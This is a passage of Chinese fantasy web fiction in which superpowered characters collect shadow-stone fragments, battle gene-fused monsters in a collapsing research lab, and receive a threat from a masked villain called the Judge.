夏艳玲突然指着电脑旁的培养舱,布娃娃的红眼睛死死盯着舱内漂浮的植物:"它在哭。"那株植物一半是墨绿色的藤蔓,一半是泛着金光的叶片,根茎处缠绕着淡淡的黑影,顶端开着一朵紫色的花,花瓣上的纹路与禁忌药剂的标签一模一样。"它说……好疼。"
费勇的影子探入培养舱,接触到植物的瞬间,屏幕突然弹出一段视频。画面里,一个戴着青铜面具的男人正站在影石阵前,手里举着半块影石碎片,声音透过**传来,带着令人毛骨悚然的笑意:"找到配方的人,我知道你是谁。三个月后,影石阵将在雾隐山重新启动,带着你收集的碎片来。要么加入我,成为掌控异能世界的神;要么……就和那些失控的废物一样,化作能量的养料。"
视频里的男人抬起手,露出手腕上的印记——与裁决会审判长的标记相同,只是多出了一道金色的纹路,像是融合了影石的能量。他身后的实验台上,摆放着与培养舱里相同的植物,旁边还躺着个被绑在手术台上的女人,脸上带着与夏艳玲相似的眉眼。
"妈妈!"夏艳玲突然尖叫起来,布娃娃的光芒瞬间变得刺眼,培养舱里的植物剧烈颤抖,紫色的花瓣纷纷凋零,"放开我妈妈!"小姑娘的情绪爆发,周围的空气突然凝结出冰晶,又在瞬间化作火焰,最后定格成无数细小的光粒,落在植物上——那些枯萎的花瓣竟重新绽放了。
费勇的影子迅速将夏艳玲护在怀里,他能感觉到小姑娘的情绪核心在剧烈波动,像是要冲破某种束缚。视频里的女人似乎察觉到了什么,突然对着镜头露出一个温柔的笑容,嘴唇动了动,无声地说着什么。费勇的影子捕捉到她的口型,拼出两个字:"等你。"
"是玲玲的妈妈。"苏清月扶住摇摇欲坠的小姑娘,藤蔓轻轻缠绕住她的手腕,输送着安抚的能量,"她应该是十年前的情绪系异能者,被裁决会抓来当实验体了。"她看着培养舱里重新焕发生机的植物,突然明白过来,"这株植物是用她的能量培育的,难怪会对玲玲有反应。"
林悦的电流突然在屏幕上炸开,视频画面瞬间扭曲,露出隐藏在代码后的地图——标注着
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裁决会的秘密基地,还有一行小字:"判官已得三块影石。"她一拳砸在操作台上,坚硬的金属竟被砸出个凹痕:"这个判官,果然是幕后黑手!他故意留下视频,就是想引我们去影石阵!"
费勇的目光落在屏幕上的影石阵图案上,影子里的三块碎片突然同时亮起,与图案上的三个节点完美对应。他能感觉到一股强大的吸引力从雾隐山的方向传来,像是有什么东西在召唤影石归位。当他的指尖再次触碰到屏幕时,影子突然在地面投射出第四块影石的位置——星海学院图书馆的古籍区,正是老鬼看管的地方。
"他不是在引我们去,是在逼我们去。"费勇的声音异常冷静,影子在实验室里铺开,吞噬着散落的暗影能量,"不管我们去不去,三个月后他都会启动仪式。与其坐以待毙,不如主动出击。"他看向怀里逐渐平静的夏艳玲,小姑娘正用布娃娃轻轻抚摸培养舱,植物的叶片上凝结出晶莹的露珠,像是在流泪。
苏清月突然在植物根部发现了一枚小小的芯片,插入电脑后,屏幕上显示出新的内容——关于情绪核心的研究记录。"原来玲玲的妈妈早就发现了仪式的缺陷,她在植物里注入了自己的情绪能量,能暂时中和失控的风险。"她将芯片小心翼翼地收好,指尖因激动而微微颤抖,"这可能是阻止判官的关键!"
就在这时,实验室的警报突然刺耳地响起,红色的警示灯在天花板上疯狂闪烁。电脑屏幕弹出一行警告:"检测到外来能量入侵,距离核心区域还有三分钟。"
林悦的电流瞬间凝聚成矛,警惕地看向门口:"是裁决会的人还是基因猎人?"
费勇的影子已经探出门外,捕捉到几个熟悉的能量波动——带着血腥味的异能,正是血手那群基因猎人。他们的能量比之前强了数倍,影子里还夹杂着与禁忌药剂相似的紫色光芒。
"是血手。"费勇的影刃在指尖凝聚,边缘泛着因兴奋而颤抖的金光,"看来他也找到进入研究所的方法了。"他看了眼培养舱里的植物,突然做出决定,"清月,把这株植物带走,可能有用。林悦,准备战斗。玲玲,抓紧我。"
夏艳玲用力点头,把布娃娃紧紧抱在怀里,娃娃的红眼睛亮得像两颗小太阳:"玲玲不怕。"
费勇的影子突然暴涨,将整个实验室笼罩其中。他能感觉到血手的队伍已经冲进通道,为首的那个身影速度快得惊人,带着翅膀的基因融合体在半空中盘旋,投下扭曲的黑影。
"游戏开始了。"费勇的嘴角勾起一抹冷冽的笑,影子在地面织成巨网,等待着猎物自投罗网。
第57章:影石的共鸣
警报声在实验室里尖锐地回荡,红色的警示灯把每个人的脸照得忽明忽暗。费勇的影子像块黑色的绸缎,在地面上迅速铺开,将培养舱紧紧裹住——那株融合了生命能量与暗影能量的植物正在剧烈颤抖,紫色花瓣上的纹路亮得刺眼,仿佛下一秒就要炸开。
“抓紧了!”费勇突然低喝一声,影子猛地收缩,将培养舱拖拽到实验室角落。就在这时,通道尽头传来“轰隆”一声巨响,伴随着基因猎人们的嘶吼,几只长着蝙蝠翅膀的怪物撞破墙壁,尖牙上滴落的涎水在地面腐蚀出冒烟的小洞。
林悦的电流瞬间化作电网,劈向俯冲而来的怪物。“滋啦”一声,翅膀被电流击中的怪物像断线的风筝般坠落,却在落地前突然炸开,墨绿色的血液溅满了操作台。“是基因融合体!”她迅速后退,电流在指尖凝成数枚雷针,“血手把动物基因和异能者基因混在一起了!”
苏清月的藤蔓在众人周围织成绿色的屏障,同时分出细藤缠上培养舱:“这植物在吸收怪物的血液能量!”她惊讶地发现,那些溅落在舱壁上的墨绿色血液,正被植物的根系缓缓吸收,叶片上的金光变得更加浓郁,“它在进化!”
夏艳玲抱着布娃娃缩在费勇身后,小姑娘的眼睛瞪得圆圆的,却没了之前的恐惧。布娃娃的红眼睛射出两道红光,照在冲得最近的怪物身上,那怪物突然像是看到了什么可怕的东西,发出凄厉的尖叫,转身撞向同伴。“娃娃说……它们很疼。”夏艳玲的声音带着同情,却把布娃娃抱得更紧了,“它们不想打架。”
费勇的注意力却全在培养舱里的植物上。影子传来的共鸣越来越强烈,他能清晰地感觉到,影石碎片就在植物根部,被层层藤蔓缠绕着,像颗跳动的黑色心脏。当又一只长着鳄鱼鳞片的怪物冲破藤蔓屏障时,他突然做出决定,影子化作利刃,精准地斩断了培养舱的合金锁扣。
“费勇!你疯了?”林悦刚用电网拦住怪物,转头就看到培养舱的舱门被打开,吓得电流都漏了半分,“这植物吸收了那么多能量,会失控的!”
话音未落,培养舱里的植物突然剧烈摇晃,墨绿色的藤蔓与金色的叶片疯狂纠缠,最后“噗”地一声炸开,无数光粒喷涌而出。在光粒的中心,一块巴掌大的黑色石头缓缓升起,表面刻着与费勇影子里相同的螺旋纹路,正是第三块影石碎片!
影石刚脱离植物残骸,就像被磁石吸引般飞向费勇。他下意识伸出手,指尖触碰到影石的瞬间,一股灼热的能量顺着手臂疯狂涌入影子——与前两块碎片不同,这块影石带着强烈的生命能量,像是在燃烧的同时又在生长,两种矛盾的力量在影子里激烈碰撞。
“呃啊——”费勇忍不住闷哼一声,影子突然暴涨,在实验室里展开成百米宽的巨影,将所有基因融合体笼罩其中。那些怪物像是被无形的手抓住,在影海里痛苦地挣扎,身体渐渐透明,最后化作纯粹的能量被影子吞噬。
“这是……影界领域?”苏清月震惊地看着眼前的景象。费勇的影子不再是单纯的黑色,而是泛起淡淡的金光,里面隐约能看到植物生长与枯萎的虚影,“影石和植物的能量融合了!”
林悦趁机解决掉最后一只怪物,喘着气靠在操作台上:“他的影遁范围……好像变远了。”刚才她明明站在十米外,却清晰地感觉到费勇的影子擦过脚踝,那种熟悉的能量波动,比之前扩大了至少十倍。
影石碎片在费勇的影子里缓缓旋转,与另外两块碎片形成稳定的三角。金色的纹路顺着影子蔓延到他的四肢,皮肤表面浮现出短暂的光斑,又迅速隐去。当一切平息后,费勇发现自己能清晰地感知到百米内所有物体的影子,甚至能“看到”通道里血手等人的位置——他们正躲在拐角处,似乎在等待什么。
“复制异能的时间……”费勇下意识触碰林悦的影子,脑海中立刻浮现出雷霆掌控的信息,这次显示的时效不再是十分钟,而是十五分钟。更让他惊讶的是,之前复制异能后的虚弱感竟然减轻了大半,像是影石在帮他中和反噬。
“这是‘影石共鸣’。”苏清月扶着他站稳,指尖搭在他的脉搏上,绿色的光粒顺着皮肤渗入,“三块影石形成了能量循环,既能增强你的能力,又能稳定能量波动。我爷爷的笔记里说,集齐七块,就能打开‘影界’的入口。”
夏艳玲突然指着费勇的影子,小脸上满是好奇:“它在笑。”众人低头看去,费勇的影子边缘正微微起伏,像是在呼吸,螺旋印记的金光比之前明亮了数倍,隐约能看到里面流动的能量,“它说……找到家人了。”
“家人?”费勇若有所思地看着影子里的三块影石碎片。它们确实像有生命般相互吸引,旋转的速度完全一致,仿佛天生就该在一起。他突然想起老鬼给的青铜吊坠,还有父亲与灯塔站在影石阵前的画面,难道影石之间真的有某种联系?
就在这时,实验室的电脑突然发出刺耳的警报,屏幕上的警告信息变成了刺眼的红色:“基因猎人已闯入,距离核心实验室还有5分钟。检测到高强度能量反应——疑似影石碎片。”
“他们的目标果然是影石!”林悦的电流瞬间凝聚成矛,眼神变得锐利,“血手肯定知道影石的作用,说不定这些基因融合体就是用影石能量改造的。”她想起刚才怪物血液的腐蚀性,与影石
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碎片的能量波动确实有几分相似。
费勇的影子探向通道拐角,这次清晰地“看到”了血手的模样。他的手臂上覆盖着一层暗金色的鳞片,手里拿着个特制的容器,上面刻着与影石相似的纹路,显然是用来装影石碎片的。更让人警惕的是,他身后站着个穿着裁决会制服的人,正低声说着什么,两人的表情都很阴沉。
“裁决会的人果然和他勾结了。”费勇的影刃在指尖凝聚,边缘泛着金光,“那个穿制服的能量波动很奇怪,像是……审判长。”
“审判长?”林悦的瞳孔骤然收缩,电流在掌心炸出噼啪的响声,“他们竟然联手了?难道裁决会想利用基因猎人夺取影石?”
苏清月迅速将培养舱里残留的植物残骸收进密封袋:“不管他们想干什么,我们必须在他们进来前离开。影石共鸣的能量太明显,会引来更多敌人。”她指了指实验室另一侧的通风管道,“我刚才检查过,那里能通到后山,离老猎户家很近。”
夏艳玲突然把布娃娃塞进费勇手里,自己则抱起地上的密封袋,小大人似的拍了拍:“玲玲来拿,费勇哥哥要打架。”布娃娃的红眼睛在费勇掌心亮了亮,一股温暖的能量顺着手臂蔓延,像是在给他打气。
费勇忍不住笑了,揉了揉她的头发:“等出去了,给你买一整袋橘子糖。”他的影子在通风管道口撕开个大洞,同时在实验室里留下几个影傀儡,模拟他们的能量波动,“我和林悦断后,清月带玲玲先走,我们在老猎户家汇合。”
“不行,要走一起走!”林悦的雷矛已经蓄势待发,眼神坚定,“你以为我是那种会丢下队友跑路的人?”她瞥了眼通道方向,电流突然沿着地面窜出,在拐角处引爆了预埋的藤蔓**,“先给他们送个礼物。”
**声在通道里回荡,伴随着血手的怒吼。费勇不再犹豫,影子卷起苏清月和夏艳玲送进通风管道,同时对林悦使了个眼色:“十五分钟,我帮你争取时间。”他瞬间复制了林悦的雷霆掌控,电流与暗影能量在指尖交织,形成紫黑色的雷刃。
“谁要你帮?”林悦嘴上逞强,嘴角却忍不住上扬,“看谁解决的敌人多!”
费勇的影子突然在实验室里铺开,影界领域再次展开,这次百米内的所有影子都化作了武器,影刃、影绳、影盾从地面升起,将通道口堵得严严实实。他能感觉到血手的能量正在快速靠近,还有审判长那股令人窒息的压迫感——这场战斗,恐怕比想象中更艰难。
但看着影子里旋转的三块影石碎片,费勇突然没那么担心了。它们像三颗星星,在黑暗中散发着稳定的光芒,提醒着他不是一个人在战斗。
第58章:血手的底牌
通道里的**声还没散尽,费勇的影界领域突然剧烈波动。百米内的影子像被投入石子的水面般荡漾,他能清晰地“看到”十几个扭曲的轮廓正在快速靠近,皮肤表面覆盖着鳞片、羽毛、甲壳等诡异的生物特征,活像从噩梦里爬出来的缝合怪。
“来的挺快。”林悦的雷矛在掌心嗡嗡作响,电流顺着地面的金属管道蔓延,在通道入口织成密不透风的电网,“正好试试新招。”她突然想起费勇刚才复制了自己的能力,挑眉看向他,“喂,暗影加雷霆,效果怎么样?”
费勇刚想说什么,影子突然传来刺痛——有个长着鲨鱼牙齿的融合体咬穿了影盾,墨绿色的血液溅在影子上,蚀出冒烟的小洞。他迅速操控影子愈合,同时将复制的雷霆之力注入影刃,紫黑色的刀刃上噼啪作响:“比想象中好用,就是有点费能量。”话音未落,影刃已经劈开那怪物的喉咙,黑色的血液混着电流溅在墙上,炸出一串火花。
“小心上面!”林悦突然拽了费勇一把,两人刚躲开,就有个长着蝙蝠翅膀的融合体俯冲而下,爪子在操作台上抓出五道深沟。更麻烦的是,这怪物的翅膀上还沾着粘稠的绿色液体,滴落在地的瞬间就长出带刺的藤蔓,上面结着的肉瘤里隐约能看到人脸。
“是基因**的残留物!”费勇认出这种藤蔓与培养舱里的植物同源,只是被基因猎人改造成了武器。他的影子迅速铺开,将藤蔓连根拔起,却在接触的瞬间,突然接收到一股陌生的异能信息——基因融合,能短暂融合接触到的生物基因,获得对应特征。
“这能力……”费勇愣了半秒,就被林悦的惊呼声拉回现实。那个长翅膀的怪物正喷吐着墨绿色的酸液,而她为了拦截,右臂被溅到的地方已经冒出焦烟,战术服下的皮肤泛起诡异的青紫色。
“清月的藤蔓能解!”林悦咬着牙用电流灼烧伤口,试图阻止毒素蔓延,“但现在……”她的话没说完,就被更多的融合体包围。这些怪物配合默契,有鳞片的负责正面硬抗,长翅膀的负责骚扰,还有几个能钻地的正在破坏实验室的地基,金属地板发出令人牙酸的咯吱声。
费勇突然做出决定,影子猛地缠上最近的鳄鱼鳞片融合体。基因融合的异能被激活,他的手臂瞬间覆盖上暗金色的鳞片,指尖弹出三寸长的利爪,带着暗影能量的寒光。“有点痒。”他活动了下手腕,鳞片摩擦发出细碎的响声,“不过挺好用。”
下一秒,他的身影在原地消失——影遁结合基因融合带来的爆发力,让他的速度提升了数倍。鳄鱼鳞片融合体还没反应过来,就被自己同款的利爪撕开了喉咙,墨绿色的血液喷了费勇一身,却被鳞片完美隔绝。
“抄袭我的招数?”血手的声音从通道尽头传来,带着毫不掩饰的愤怒。他正站在审判长身边,手里把玩着个金属容器,里面隐约能看到影石碎片的光泽,“不过没关系,很快你就会成为我的实验品,你的基因……会让我变得更强。”
他突然张开双臂,背后展开一对蝙蝠翅膀,皮肤浮现出鳄鱼鳞片,指尖弹出与费勇相似的利爪:“看到了吗?我能同时融合多种基因,这才是完美的进化!”他猛地俯冲下来,翅膀带起的气流掀起漫天灰尘,“而你,只会拙劣地模仿!”
费勇没有硬接,而是借着影遁绕到血手身后,利爪带着雷霆之力刺向他的后心。然而当利爪即将触碰到血手时,却被一层无形的屏障挡住——那屏障上泛着与影石相似的黑色光晕,正是影石碎片的能量!
“果然有影石!”费勇迅速后撤,避开血手回身扫来的尾巴——那是条覆盖着鳞片的长尾,末端还长着毒刺,“裁决会给你的?”
血手的翅膀扇起一阵狂风,将周围的融合体都吹开:“你没必要知道。”他突然拍了拍手,通道深处传来沉重的脚步声,地面随之剧烈震动。一个身高近三米的怪物出现在入口,它的身体像是由十几个融合体缝合而成,背后长着蝙蝠翅膀,四肢分别是鳄鱼爪、章鱼触腕、狮子腿和鹰爪,最诡异的是它的脑袋——七张不同生物的脸在上面轮流浮现,发出混杂的嘶吼。
“这是我最完美的作品。”血手的语气带着病态的骄傲,“融合了十六种异能者基因和动物基因,就用你来测试它的战斗力吧。”他对怪物下达指令,“撕碎他,但留着影子里的影石!”
基因巨兽咆哮着冲向费勇,带起的风压让实验室的仪器纷纷坠落。费勇试图用影界领域困住它,却发现这怪物的能量波动极其混乱,影子根本无法完全包裹。更麻烦的是,它身上的章鱼触腕能喷射粘性极强的墨汁,一旦被缠住,连影遁都无法使用。
“林悦!地基!”费勇突然喊道,同时用利爪划向基因巨兽的眼睛。林悦瞬间会意,电流顺着之前被破坏的地基缝隙涌入地下,引爆了预埋的藤蔓**——这是苏清月临走前留下的后手,原本是用来炸毁实验室的。
剧烈的**让基因巨兽失去了平衡,费勇趁机跳到它的背上,利爪狠狠刺入翅膀与身体连接的部位。那里没有鳞片保护,是最薄弱的地方。然而当利爪刺入时,他却感觉到触碰到了坚硬的物体——不是骨骼,而是某种金属质感的东西,同样泛着影石的光晕。
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>“他把影石碎片植入体内了!”费勇的声音带着震惊,“不止一块,是……”他还没数清,就被基因巨兽甩了出去,重重撞在操作台上,后背的鳞片都磕掉了好几块。
血手趁机扑上来,翅膀上的骨刺闪着寒光:“现在知道太晚了!影石能帮我稳定基因,让我承受更多融合,而你……”他的利爪即将抓到费勇的喉咙,却突然停在半空中——林悦的雷矛穿透了他的翅膀,电流顺着伤口疯狂涌入,让他暂时麻痹。
“没人告诉你,背后偷袭是警察的必修课吗?”林悦喘着气拔出雷矛,右臂的青紫色已经蔓延到肩膀,但眼神依旧锐利如刀,“费勇,动手!”
费勇没有犹豫,基因融合的利爪与暗影能量、雷霆之力完美结合,化作紫黑色的利刃,精准地刺入血手胸口影石碎片所在的位置。这一次,影石的屏障没能完全挡住——因为审判长在血手被**瞬间,竟悄悄收回了自己的能量支援。
“审判长……你!”血手的眼睛瞪得滚圆,看着自己胸口冒出的黑色光晕,那里的影石碎片正在被费勇的影子强行剥离。他到死都没明白,为什么盟友会突然背叛。
费勇的影子贪婪地吞噬着被剥离的影石碎片,第四块影石融入的瞬间,基因融合带来的副作用突然爆发——他的皮肤上冒出更多的鳞片,甚至嘴角长出了尖锐的牙齿,意识开始被野兽的凶蚀。
“费勇!”林悦的声音像是隔着一层水,“清醒点!”
就在这时,实验室的通风管道突然传来响动,苏清月的藤蔓带着夏艳玲破口而出。小姑娘怀里的布娃娃爆发出刺眼的白光,温暖的光粒落在费勇身上,那些多余的鳞片和獠牙以肉眼可见的速度消退,基因融合的副作用被强行压制。
“我说过……会回来帮你。”苏清月的藤蔓迅速缠上林悦的手臂,绿色的光粒修复着被腐蚀的皮肤,“老猎户家的清心剂……还有效果。”
费勇看着自己恢复正常的手臂,又看了眼胸口插着利爪、已经断气的血手,最后将目光投向通道尽头——审判长早已不见踪影,只留下空气中淡淡的青铜面具气息。
“他跑了。”林悦的声音带着不甘,“但血手体内的影石……”
“第四块。”费勇握紧拳头,影子里的四块影石碎片正在形成新的能量循环,金色的纹路比之前更加清晰,“而且我知道,他为什么能融合这么多基因了。”他指着血手胸口的伤口,那里除了影石碎片,还有个微型注射器,里面残留着紫色的液体——与裁决会的禁忌药剂一模一样。
审判长与血手的交易,恐怕比想象中更复杂。
第59章:情绪核心的爆发
血手的尸体刚倒下,实验室就发出一阵剧烈的晃动。那只被费勇刺伤翅膀的基因巨兽突然狂性大发,七张脸同时发出震耳欲聋的咆哮,章鱼触腕疯狂拍打地面,将操作台掀得粉碎。更可怕的是,它胸口的肉瘤裂开,露出里面跳动的发光器官,正贪婪地吸收着实验室里残留的能量——包括费勇影子散逸的暗影能量。
“它在进化!”苏清月的藤蔓刚修复好林悦的伤口,就被巨兽的鳄鱼爪撕开一道口子,绿色的汁液溅在地上,瞬间被金属地板吸收,“它能吞噬周围的能量强化自己!”
费勇刚想再次发动影界领域,却发现影子传来针扎般的疼痛。刚才被基因巨兽甩出去时,后背的鳞片虽然脱落了,但影石碎片的能量循环出现了短暂的紊乱,金色纹路忽明忽暗,像是接触不良的灯泡。“该死。”他咬着牙按住后背,那里的皮肤已经红肿,隐约能看到鳞片残留的痕迹。
“别硬撑!”林悦的电流在巨兽身上炸开,却只让它停顿了半秒。这怪物吸收了足够的能量后,皮肤表面浮现出一层黑色的角质层,电流打在上面竟被弹开,“它的防御变强了!”她的右臂刚恢复知觉,又被巨兽的尾巴扫中,整个人撞在墙上,战术靴在金属地板上划出长长的火花。
夏艳玲抱着布娃娃缩在通风管道口,小脸上满是焦急。布娃娃的红眼睛不断闪烁,试图用恐惧能量冻结巨兽的脚步,却只在它腿上结了层薄冰,瞬间就被体温融化。“没用……”小姑娘的声音带着哭腔,手指紧紧攥着娃娃的衣角,“它不怕冷……”
就在这时,基因巨兽突然将目标转向夏艳玲。或许是感觉到她体内情绪核心的能量,它的章鱼触腕猛地伸长,带着粘稠的墨汁拍向通风管道。费勇瞳孔骤缩,想也没想就发动影遁挡在前面,触腕重重砸在他背上,暗影护盾瞬间破碎,他像片叶子般飞出去,撞在培养舱的残骸上,咳出一口黑血。
“费勇哥哥!”夏艳玲的尖叫刺破实验室的嘈杂。她看着费勇后背渗出的黑色血液——那是影石能量紊乱的征兆,看着他挣扎着想爬起来却又重重倒下,看着他影子里的金色纹路像濒死的萤火虫般闪烁,心脏像是被一只无形的手攥紧了。
那些被压抑的情绪突然决堤:费勇把唯一的橘子糖塞给她时的温度,林悦笨拙地给她编辫子时的认真,苏清月用藤蔓给她做花环时的温柔……原来她不是没有高兴的事,只是一直不敢记住。
“不准……欺负他们!”夏艳玲突然喊道,声音不大,却带着前所未有的坚定。她怀里的布娃娃突然爆发出刺眼的白光,比之前激活情绪锁时亮了百倍,像是把整个太阳都装进了棉花里。小姑娘踮起脚尖,将娃娃高高举起,那些温暖的光粒不再是零星几点,而是化作漫天金雨,从布娃娃的缝隙里汹涌而出。
“这是……”苏清月惊讶地看着落在手臂上的光粒,刚才被巨兽撕开的伤口正在以肉眼可见的速度愈合,藤蔓的生长速度也快了数倍,原本需要十分钟才能长成的防护网,现在只用了三秒就将众人护在中间。
林悦的感受更加强烈。电流在光粒的包裹下变得异常活跃,噼啪的响声像是欢快的乐曲,之前消耗的能量瞬间补满,甚至比巅峰状态还要强上三倍。她试着凝聚雷矛,发现矛尖竟泛起金色的光晕,带着生命能量的暖意。“这电流……甜丝丝的。”她愣了愣,突然想起给夏艳玲糖吃时说的话。
最震惊的是费勇。光粒落在身上,后背的疼痛瞬间消失,影子里紊乱的能量重新变得温顺,四块影石碎片旋转的速度变得一致,金色纹路亮得像要燃烧起来。他能感觉到实验室里所有的暗影能量都在向自己汇聚,影界领域的范围不受控制地扩大,甚至能“看到”基因巨兽体内流动的能量脉络。
“原来……保护大家就是喜悦。”夏艳玲轻声说,小脸上还挂着泪珠,眼神却亮得惊人。她看着那些被光粒笼罩的人,看着林悦的雷矛划破长空,看着苏清月的藤蔓开出洁白的花,看着费勇的影子重新变得凝实,突然咯咯地笑了起来,像颗刚剥开糖纸的橘子糖。
费勇站起身,影子在他身后疯狂蔓延,百米巨影的轮廓在实验室的天花板上若隐若现,带着光粒的暖意和暗影的深沉。他能清晰地“看到”基因巨兽能量的弱点——就在它胸口那颗吸收了太多能量而变得不稳定的肉瘤。
“林悦,左前爪!”费勇的声音透过影界领域传到每个人耳中,带着不容置疑的力量,“清月,缠住它的触腕!”
林悦的雷矛精准地刺向基因巨兽的左前爪关节,那里是角质层最薄弱的地方。电流顺着伤口涌入,虽然没能造成重创,却成功让巨兽的动作迟滞了半秒。苏清月的藤蔓抓住这个机会,像无数条绿色的蛇,将挥舞的章鱼触腕紧紧缠住,甚至顺着吸盘钻进它的体内,吸收着过剩的能量。
“就是现在!”费勇的身影在原地消失,影遁结合光粒带来的速度加成,让他瞬间出现在基因巨兽的头顶。他没有用利爪,而是将所有的暗影能量和光粒融合,凝聚成一只覆盖着金色纹路的黑色巨拳,带着吞噬一切的气势,狠狠砸向那颗跳动的肉瘤。
“吼——!”基因巨兽发出最后一声悲鸣,肉瘤被击中的瞬间炸开,墨绿色的血液混合着金色的光粒溅落,那些被它吞噬的能量以失控的姿态逸散,让整个实验室都在震颤。它庞大的身躯缓缓倒下,七张脸上同时露出解脱的表情,最后化作无数光点,被夏艳玲的布娃娃吸收。
费勇落在地上,影界领域缓缓收起,百米巨影消失前,下意识地伸出手,抓住了从
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空中坠落的血手尸体——他还有话要问。影子化作锁链,将尸体牢牢捆住,四块影石碎片在他掌心旋转,发出低沉的嗡鸣。
“还有气。”费勇探了探血手的颈动脉,发现他只是被能量冲击震晕了。他的影子顺着血手的伤口钻进去,精准地找到了第五块影石碎片——藏在脊椎骨的缝隙里,“裁决会给你的?”
血手咳着血,眼神涣散,却在看到影石碎片时突然露出疯狂的笑:“判官……会杀了你们所有人……影石阵……”他的话没说完,就被费勇用影刃抵住喉咙。
“影石阵在哪?你和审判长的交易是什么?”费勇的声音很冷,影子里的光粒已经散去,只剩下暗影能量的压迫感,“说出来,给你个痛快。”
血手刚想再说什么,实验室突然发出一声巨响。基因巨兽倒下时撞穿了承重墙,整个核心实验室开始倾斜,金属地板像折纸一样卷曲,通风管道的碎片从天而降。苏清月的藤蔓防护网被砸出好几个洞,夏艳玲抱着布娃娃,被掉落的石块吓得闭上了眼睛。
“必须离开这里!”林悦用电网撑起一块掉落的天花板,电流的光芒照亮她焦急的脸,“地基已经塌了!”
费勇看了眼还在狞笑的血手,突然做了个决定。影子化作尖刺,刺入血手的太阳穴——不是为了杀他,而是用暗影能量封锁了他的记忆中枢。“留着他还有用。”他扛起昏迷的血手,对苏清月点点头,“清月,开路!”
绿色的藤蔓在前方炸开,将挡路的钢筋混凝土顶开。林悦的电流在两侧织成防护网,挡住不断掉落的碎片。夏艳玲紧紧抓着费勇的衣角,布娃娃的光芒照亮脚下的路,那些温暖的光粒像路标,指引着逃生的方向。
就在他们冲出核心实验室的瞬间,身后传来惊天动地的巨响。整个701研究所的地下部分开始坍塌,暗影能量与生命能量的余波交织成巨大的蘑菇云,从通道的尽头喷涌而出。
费勇下意识地用影子将众人护在身下,却在抬头时,看到了个熟悉的身影——风行者正站在通道出口,超音速移动带起的气流将他的风衣吹得猎猎作响,脸上带着惯有的桀骜,眼神里却多了几分认可。
“晚了三分钟。”风行者耸耸肩,伸手抓住费勇扛着的血手,“老鬼让我来接你们。对了,”他突然看向夏艳玲,“这小丫头的能量波动……很像‘情绪核心’的持有者。”
夏艳玲眨了眨眼,把布娃娃往费勇身后藏了藏,小声说:“娃娃说,你身上有海风的味道。”
风行者愣了愣,难得地没反驳,只是催促道:“快走,裁决会的支援快到了。”
费勇最后看了眼正在坍塌的研究所,影子里的五块影石碎片同时亮起。他知道,这场关于影石和十年前真相的游戏,才刚刚进入高潮。
第60章:判官的投影
风行者超音速移动带起的气流还没散尽,费勇就感到后颈一阵发凉。他下意识地摸向影子,五块影石碎片正在里面不安分地跳动,像是感应到了什么危险。血手被风行者像拎麻袋似的抗在肩上,昏迷中还在嘟囔着“影石阵”,嘴角挂着的黑血滴落在地,瞬间被山道的泥土吞噬。
“抓紧了!”风行者突然加速,风衣下摆扫过夏艳玲的脚踝。小姑娘惊呼一声,死死抱住费勇的胳膊,布娃娃的耳朵蹭着费勇的手腕,带来一丝微弱的暖意。苏清月用藤蔓将自己和林悦捆在一起,绿色的枝条在高速移动中拉出残影,像几条守护的绸带。
雾隐山的雾气浓得像化不开的牛奶,能见度不足三米。但风行者的脚步没有丝毫停顿,他似乎能凭本能避开陡峭的岩壁和暗藏的陷阱。费勇注意到,他每次落地的位置,地面都会泛起一圈极淡的白光——那是超音速移动与地面摩擦产生的能量残留,像给他们的逃亡路线打了串隐秘的标记。
“还有多久到山脚?”林悦的声音被风吹得有些变形,她的战术靴在刚才的战斗中磨破了鞋底,脚踝处渗出的血珠被藤蔓轻轻包裹,苏清月的治愈能量正顺着藤蔓缓缓注入。
“三分钟。”风行者的声音从前面传来,带着一种不容置疑的笃定,“裁决会的飞行器已经过了云层,再晚就会被他们的热成像锁定。”
话音刚落,费勇影子里的影石碎片突然剧烈震颤。他低头一看,五块碎片竟自动排成了一个不规则的五角星,金色纹路亮得刺眼,在浓雾中投射出五道细长的光束,像五根指向天空的指针。
“怎么回事?”苏清月敏锐地察觉到能量波动,藤蔓上的叶片突然齐齐转向天空,脉络里流淌的绿色能量泛起涟漪,“它们在回应某种信号!”
费勇还没来得及回答,就感到一股熟悉的压迫感从头顶笼罩下来——那是裁决会特有的能量波动,带着冰冷的审判意味。他猛地抬头,透过厚重的雾气,隐约看到几个黑点正在云层里盘旋,探照灯的光柱像利剑般刺向山林,在雾中切割出一道道转瞬即逝的光痕。
“加速!”风行者低喝一声,身形化作一道模糊的流光。费勇只觉得眼前的景物都变成了彩色的线条,耳边的风声尖锐得像要刺破耳膜。夏艳玲把脸埋在他的背上,布娃娃的红光透过布料渗出来,在他的衬衫上印出一小块温暖的光斑。
就在他们冲出雾隐山边界的瞬间,风行者突然急停。巨大的惯性让费勇他们差点撞在一起,林悦踉跄着站稳,刚想质问,就被眼前的景象惊呆了。
浓雾像被一只无形的手拨开,露出了晴朗的夜空。但真正让人窒息的,是悬在半空的那个巨大投影——那是一张模糊的人脸,五官隐在阴影里,只能看到一双散发着幽光的眼睛,正居高临下地盯着他们,仿佛注视着几只闯入猎场的猎物。
“费勇。”
声音像是从四面八方传来,带着一种奇特的共鸣,震得人耳膜发疼。山林里的虫鸣瞬间消失,连风都屏住了呼吸,只剩下这道冰冷的声音在天地间回荡。
费勇的瞳孔骤然收缩。这声音他太熟悉了——在701研究所的电脑里,在血手最后的疯言疯语里,在无数个与裁决会相关的阴影里,他都听到过这道仿佛能裁决生死的声音。
判官。
“恭喜你集齐四块影石。”投影的嘴角似乎向上弯了弯,露出一个意味不明的笑容,“比我预计的快了十七天。”
“你在监视我们?”林悦的电流在指尖噼啪作响,蓝色的火花在夜色中格外醒目。她的父亲就是死在裁决会手里,此刻面对这个组织的首领,她的声音里抑制不住地带着怒火。
判官的投影没有理会她,目光始终锁定在费勇身上:“三个月后,影石阵将在城际监狱的地下开启。我邀请所有影石持有者赴约,包括你,费勇。”
“赴约做什么?成为你实验台上的小白鼠吗?”费勇冷笑一声,影子在他脚下悄然蔓延,五块影石碎片的能量开始汇聚,他随时准备发动攻击。虽然他知道,面对这样的投影,任何攻击可能都是徒劳。
“当然是决定所有异能者的命运。”判官的声音里带着一种近乎病态的狂热,“你可以选择成为我的容器,与我一同掌控影界的力量,建立绝对的秩序;或者……”
投影顿了顿,那双幽光闪烁的眼睛里闪过一丝残忍:“拒绝的话,你和你身边这些人,都会被影界吞噬,成为暗影本源的养料。”
